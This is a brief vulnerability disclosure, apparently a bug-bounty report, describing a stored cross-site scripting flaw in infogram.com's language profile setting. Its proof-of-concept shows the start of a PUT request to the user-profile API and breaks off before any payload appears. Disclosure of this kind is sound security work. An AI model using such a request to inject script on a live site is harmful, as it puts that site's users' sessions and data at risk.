Infogram: Stored XSS in infogram.com via language

The stored XSS was found in the language profile parameter. POC: Change profile settings with following request: http PUT /api/users/me HTTP/1.1 Host: infogram.com User-Agent: Mozilla/5.0 X11; Linux x8664; rv:63.0 Gecko/20100101 Firefox/63.0 Accept: / Accept-Language: en-US,en;q=0.5...